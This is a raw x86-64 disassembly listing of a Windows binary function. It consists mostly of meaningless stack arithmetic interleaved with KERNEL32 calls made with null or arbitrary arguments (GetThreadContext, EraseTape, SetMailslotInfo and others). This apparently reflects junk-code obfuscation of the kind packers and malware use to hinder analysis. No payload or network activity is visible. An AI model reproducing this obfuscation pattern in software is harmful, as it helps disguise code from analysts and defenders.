mov dword [rsp + 0x46a0], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xde73
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4644], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x129]
shl eax, cl
mov byte [rsp + 0x342], al
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1c90], ax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022b824], ax
lea rdx, [rsp + 0x46b0]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46b0], eax
mov rax, qword [rsp + 0x7c50]
mov rcx, qword [rsp + 0x98e0]
mov qword [rsp + 0x9930], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9930]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x98e0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
cmp dword [rsp + 0x46a0], 0x13af
jbe 0x140023f82
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1a90]
add eax, ecx
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
movzx edx, word [0x140229f28]
and ecx, edx
cmp eax, ecx
jg 0x14017c4e9
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov qword [0x14022b838], rax
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x98f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4658]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44e0], eax
mov r9d, 0x1212
xor r8d, r8d
lea rdx, [rsp + 0x9860]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4694], eax
movsx eax, word [0x14022b828]
movsx ecx, word [rsp + 0x1c78]
and eax, ecx
mov word [rsp + 0x1c84], ax
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [rsp + 0x1c8c]
and eax, ecx
mov word [rsp + 0x1c7c], ax
cmp dword [rsp + 0x463c], 0x9b16
jae 0x140024905
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9870]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8500], rax
mov eax, dword [0x140229f30]
mov ecx, dword [rsp + 0x4374]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x463c]
add eax, 0xc1
mov dword [rsp + 0x463c], eax
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9870]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9898]
mov qword [rsp + 0x9938], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9938]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0x96d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x8078]
mov rcx, qword [rsp + 0x97d8]
mov qword [rsp + 0x9940], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9940]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1c78]
add eax, ecx
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
lea rcx, [rsp + 0x9680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x7dd0]
mov rcx, qword [rsp + 0x8500]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x447c], eax
movsx eax, byte [rsp + 0x277]
movsx ecx, byte [rsp + 0x129]
add eax, ecx
mov byte [rsp + 0x343], al
movzx eax, byte [0x140229f1d]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9808]
mov byte [rcx], al
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4674]
sar eax, cl
mov dword [rsp + 0x460c], eax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14022b820], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xaf52
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4664], eax
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c50]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x343], al
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4374]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9730]
shr rax, cl
mov qword [rsp + 0x8ef8], rax
movsx eax, word [rsp + 0x1c94]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9878]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
movzx eax, word [0x140229f28]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9828], rax
mov rax, qword [0x14022b830]
movzx ecx, al
mov rax, qword [rsp + 0x82e8]
sar rax, cl
mov qword [rsp + 0x9780], rax
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9650]
shl rax, cl
mov qword [rsp + 0x9670], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x186]
or eax, ecx
mov byte [rsp + 0x343], al
mov rax, qword [rsp + 0x9800]
mov ecx, dword [rsp + 0x4630]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9800]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19f]
add eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x447c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x97b8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0x9870]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c84]
and eax, ecx
mov word [rsp + 0x1c94], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
sar eax, cl
mov word [rsp + 0x1c8c], ax
movzx eax, word [rsp + 0x1c8c]
movzx ecx, word [rsp + 0x1c7c]
and eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0x97e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x97e0]
mov rcx, qword [rsp + 0x98b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x98e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
jmp 0x1400243ca
movzx eax, word [rsp + 0x1c84]
mov word [rsp + 0x1c98], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9948], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c80], ax
lea rax, [0x14022b830]
mov qword [0x14022b840], rax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d8]
mov qword [rsp + 0x9950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9950]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [0x14022b838]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8078], rax
cmp dword [rsp + 0x469c], 0x867d
je 0x140024dcd
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9668]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8078], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x45d8]
mov ecx, dword [rsp + 0x45c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44e0], eax
lea rdx, [rsp + 0x4648]
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x468c], eax
movzx eax, byte [rsp + 0x19f]
movzx ecx, byte [rsp + 0x2a0]
add eax, ecx
mov byte [rsp + 0xa9], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xb507
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46bc], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x277]
sub eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0x9758]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4374]
mov rcx, qword [rsp + 0x98b0]
mov qword [rsp + 0x9958], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9958]
mov eax, dword [rax]
shr eax, cl
mov dword [0x140229f2c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c78], ax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1c98]
add eax, ecx
mov rcx, qword [rsp + 0x9880]
mov word [rcx], ax
movzx eax, word [0x140229f28]
movzx ecx, word [rsp + 0x1c8c]
sub eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9788]
mov qword [rsp + 0x9960], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9960]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0x96e0]
mov rcx, qword [rsp + 0x98b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
lea rdx, [rsp + 0x45e8]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9730]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x98b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x469c]
add eax, 0x16
mov dword [rsp + 0x469c], eax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x96d0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9788]
mov rcx, qword [0x140229f20]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
sub eax, ecx
mov word [rsp + 0x1c80], ax
mov eax, dword [rsp + 0x4674]
mov rcx, qword [rsp + 0x9800]
mov qword [rsp + 0x9968], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9968]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4630], eax
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [rsp + 0x344], al
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x186]
and eax, ecx
mov rcx, qword [rsp + 0x98b8]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xe8b0
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x468c], eax
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x8ff8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ef8], rax
mov eax, dword [rsp + 0x4614]
mov rcx, qword [rsp + 0x98e8]
mov qword [rsp + 0x9970], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9970]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1c90]
movsx ecx, word [0x14022b828]
or eax, ecx
mov word [rsp + 0x1c84], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
xor eax, ecx
mov word [0x14022b824], ax
mov rax, qword [rsp + 0x9660]
movzx ecx, al
mov rax, qword [rsp + 0x8180]
sar rax, cl
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
jmp 0x1400249a9
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
movsx edx, byte [0x14022b811]
add ecx, edx
cmp eax, ecx
jl 0x140024f14
lea rax, [rsp + 0x97b8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x19f]
mov r8d, SHDoDragDrop
lea rdx, [rsp + 0x9800]
mov rcx, qword [rsp + 0x9978]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x45f0], eax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
movsx ecx, word [0x14022b820]
and eax, ecx
mov word [rsp + 0x1c84], ax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1a90]
sar eax, cl
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
mov rax, qword [rsp + 0x96e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x447c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4614], eax
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x342], al
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0x97e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9730], rax
mov r8d, 1
mov edx, 0x20
mov rcx, qword [rsp + 0x9658]
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov dword [rsp + 0x4614], eax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x97d0]
shl rax, cl
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
jmp 0x14017c4ad
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8180]
mov rdx, qword [rsp + 0x7c50]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x14017c4ad
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140229f34], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [0x140229f28]
xor eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ff8]
mov rcx, qword [rsp + 0x9870]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9878]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x97e8]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x14017c2f1
movzx eax, word [rsp + 0x1a90]
mov dword [rsp + 0x46c0], eax
cmp dword [rsp + 0x46c0], 0
je 0x1400250a4
cmp dword [rsp + 0x46c0], 0x98c
je 0x140024ff9
jmp 0x140025100
mov r8d, 0xd9
mov rdx, qword [rsp + 0x9910]
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
mov dword [rsp + 0x467c], eax
movzx eax, word [rsp + 0x1c8c]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [0x140229f20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8180], rax
mov r8d, 0xca
mov rdx, qword [rsp + 0x98c8]
mov rcx, qword [rsp + 0x9980]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov dword [rsp + 0x46c4], eax
jmp 0x140025100
lea rax, [rsp + 0x9870]
mov qword [rsp + 0x9988], rax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x343], al
lea rax, [rsp + 0x4374]
mov qword [rsp + 0x9990], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a90]
and eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4374]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97b8]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x9990]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jae 0x140025257
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov qword [0x14022b848], rax
movzx eax, byte [rsp + 0x344]
mov byte [rsp + 0x345], al
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7dd0]
shl rax, cl
mov rcx, qword [rsp + 0x9758]
mov rdx, qword [rsp + 0x9988]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
ja 0x140025252
lea rax, [rsp + 0x44e0]
mov qword [rsp + 0x9998], rax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x9890]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x140025212
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
sar eax, cl
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4374]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8500]
mov rcx, qword [rsp + 0x9670]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
jmp 0x14002536b
movsx eax, word [rsp + 0x1c94]
movsx ecx, word [rsp + 0x1c78]
or eax, ecx
movsx ecx, word [rsp + 0x1c98]
movsx edx, word [rsp + 0x1c90]
xor ecx, edx
cmp eax, ecx
jge 0x14002536b
movsx eax, byte [rsp + 0x277]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x342], al
mov r9, qword [rsp + 0x99a0]
mov r8, qword [rsp + 0x99a8]
mov edx, 0x81
mov rcx, qword [rsp + 0x97f0]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov dword [rsp + 0x4614], eax
movsx eax, word [rsp + 0x1c78]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c8c]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14022b824], ax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9810]
shl rax, cl
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9810]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x9890]
movzx eax, word [rax]
mov word [rsp + 0x1c9c], ax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d8]
mov qword [rsp + 0x99b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99b0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9898]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x97d0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14002542a
mov rcx, qword [rsp + 0x9910]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [rsp + 0x46c4], eax
mov rax, qword [rsp + 0x9748]
movzx edx, word [rax]
mov rax, qword [rsp + 0x9750]
movzx ecx, byte [rax]
call fcn.14017d0e0
mov eax, dword [rsp + 0x447c]
mov rcx, qword [rsp + 0x97e0]
mov qword [rsp + 0x99b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4374], eax
jmp 0x1400256b4
mov rax, qword [rsp + 0x98e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x447c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4614]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400255ca
mov rax, qword [rsp + 0x9870]
mov rcx, qword [rsp + 0x9670]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9878]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [0x140229f28]
or eax, ecx
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
mov dword [rsp + 0x46c8], ecx
mov rdx, qword [rsp + 0x9748]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x46c8]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1400255a4
mov rax, qword [rsp + 0x97d0]
mov rcx, qword [rsp + 0x8180]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9898]
mov rdx, qword [rsp + 0x9710]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jl 0x1400255a2
lea rax, [rsp + 0x342]
mov qword [rsp + 0x99c0], rax
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x19f], al
lea rax, [rsp + 0x4630]
mov qword [rsp + 0x99c8], rax
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14022b820], ax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a90], ax
movzx eax, word [rsp + 0x1c8c]
movzx ecx, word [rsp + 0x1c80]
and eax, ecx
mov word [rsp + 0x1384], ax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x1400255c5
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x82e8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
jmp 0x1400256b4
movsx eax, word [rsp + 0x1c94]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
mov dword [rsp + 0x46cc], ecx
mov rdx, qword [rsp + 0x9848]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x46cc]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140025670
movsx eax, byte [rsp + 0x342]
movsx ecx, byte [0x14022b811]
xor eax, ecx
mov byte [rsp + 0x277], al
mov r9, qword [rsp + 0x99d0]
mov r8d, 0x70
mov rdx, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x99d0]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [rsp + 0x4614], eax
mov eax, dword [rsp + 0x447c]
movzx ecx, al
mov eax, dword [rsp + 0x4614]
shl eax, cl
